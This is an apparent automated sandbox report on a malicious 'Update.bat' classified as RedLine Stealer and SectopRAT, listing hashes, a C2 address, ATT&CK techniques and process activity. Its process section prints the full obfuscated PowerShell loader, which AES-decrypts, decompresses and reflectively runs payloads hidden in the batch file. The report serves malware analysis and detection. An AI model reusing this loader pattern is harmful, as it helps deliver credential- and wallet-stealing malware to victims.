redline | 59eeafa1a036a240d2e5ef549ddd90c5cb484f27dfa94a5f1af91a7e13f380b1

General

Target

Update.bat
Size

90KB
MD5

3ad42ff8b873ba057e56908c4a9a2830
SHA1

aa377371f4aa319ac8367809229397e8cbe984f9
SHA256

59eeafa1a036a240d2e5ef549ddd90c5cb484f27dfa94a5f1af91a7e13f380b1
SHA512

e8c96bd11670e299f7ffff4bd1bdb5e56ea65051739fb6ade5269a307742a391af4ad1a9fe19828cb8a5422f317cfc1da31788a7e9478725dbb75b5b4ba867c1
SSDEEP

1536:ZSXLurkFJ+8TTbUGxintEI0l5a82Nx7GokVsIwX8ao8vpCoB9r6b38H1xlWlazf:ZSXLuInDintF0ba82NZbX9ManBCipZ

Score

10^/10

redline sectoprat hone_-_installer execution infostealer rat spyware trojan

Malware Config

Extracted

Family

redline

Botnet

Hone_-_Installer

C2

above-collect.gl.at.ply.gg:58881

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/1016-22-0x0000000007130000-0x000000000714E000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/1016-22-0x0000000007130000-0x000000000714E000-memory.dmp	family_sectoprat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 1016 powershell.exe
4 1016 powershell.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1016 powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

1016 powershell.exe
1016 powershell.exe
1016 powershell.exe
1016 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1016 powershell.exe

flow	pid	process
2	1016	powershell.exe
4	1016	powershell.exe

pid	process
1016	powershell.exe

pid	process
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1016	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2860 wrote to memory of 1016	2860	cmd.exe	powershell.exe
PID 2860 wrote to memory of 1016	2860	cmd.exe	powershell.exe
PID 2860 wrote to memory of 1016	2860	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DxAzrcaVfg2CFRZHSsUJyG7xHfjugn8NiLFpB5y2UPs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fwfLXU0xUC9GptqkwYqYDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WBdwt=New-Object System.IO.MemoryStream(,$param_var); $LWQNs=New-Object System.IO.MemoryStream; $OazpV=New-Object System.IO.Compression.GZipStream($WBdwt, [IO.Compression.CompressionMode]::Decompress); $OazpV.CopyTo($LWQNs); $OazpV.Dispose(); $WBdwt.Dispose(); $LWQNs.Dispose(); $LWQNs.ToArray();}function execute_function($param_var,$param2_var){ $jOrir=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lhPuX=$jOrir.EntryPoint; $lhPuX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Update.bat';$zaltw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Update.bat').Split([Environment]::NewLine);foreach ($uVtWj in $zaltw) { if ($uVtWj.StartsWith(':: ')) { $Uifnz=$uVtWj.Substring(3); break; }}$payloads_var=[string[]]$Uifnz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bvpexxry.wdr.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1016-23-0x0000000007E10000-0x0000000008428000-memory.dmp

Filesize
6.1MB

Download
memory/1016-53-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-3-0x0000000005350000-0x000000000597A000-memory.dmp

Filesize
6.2MB

Download
memory/1016-4-0x00000000051B0000-0x00000000051D2000-memory.dmp

Filesize
136KB

Download
memory/1016-5-0x00000000059F0000-0x0000000005A56000-memory.dmp

Filesize
408KB

Download
memory/1016-6-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/1016-24-0x0000000007210000-0x0000000007222000-memory.dmp

Filesize
72KB

Download
memory/1016-15-0x0000000005A60000-0x0000000005DB7000-memory.dmp

Filesize
3.3MB

Download
memory/1016-16-0x0000000005F40000-0x0000000005F5E000-memory.dmp

Filesize
120KB

Download
memory/1016-17-0x0000000005F80000-0x0000000005FCC000-memory.dmp

Filesize
304KB

Download
memory/1016-18-0x0000000007790000-0x0000000007E0A000-memory.dmp

Filesize
6.5MB

Download
memory/1016-19-0x0000000006520000-0x000000000653A000-memory.dmp

Filesize
104KB

Download
memory/1016-20-0x0000000007110000-0x0000000007118000-memory.dmp

Filesize
32KB

Download
memory/1016-21-0x0000000007120000-0x0000000007132000-memory.dmp

Filesize
72KB

Download
memory/1016-57-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-2-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-1-0x0000000002B90000-0x0000000002BC6000-memory.dmp

Filesize
216KB

Download
memory/1016-25-0x0000000007270000-0x00000000072AC000-memory.dmp

Filesize
240KB

Download
memory/1016-26-0x00000000073F0000-0x00000000074FA000-memory.dmp

Filesize
1.0MB

Download
memory/1016-27-0x0000000008600000-0x00000000087C2000-memory.dmp

Filesize
1.8MB

Download
memory/1016-28-0x0000000008D00000-0x000000000922C000-memory.dmp

Filesize
5.2MB

Download
memory/1016-35-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-45-0x00000000097E0000-0x0000000009D86000-memory.dmp

Filesize
5.6MB

Download
memory/1016-46-0x00000000087D0000-0x0000000008862000-memory.dmp

Filesize
584KB

Download
memory/1016-47-0x0000000008870000-0x00000000088E6000-memory.dmp

Filesize
472KB

Download
memory/1016-48-0x0000000008950000-0x000000000896E000-memory.dmp

Filesize
120KB

Download
memory/1016-49-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-50-0x0000000074B6E000-0x0000000074B6F000-memory.dmp

Filesize
4KB

Download
memory/1016-51-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-0-0x0000000074B6E000-0x0000000074B6F000-memory.dmp

Filesize
4KB

Download
memory/1016-54-0x0000000074B60000-0x0000000075311000-memory.dmp

Filesize
7.7MB

Download
memory/1016-22-0x0000000007130000-0x000000000714E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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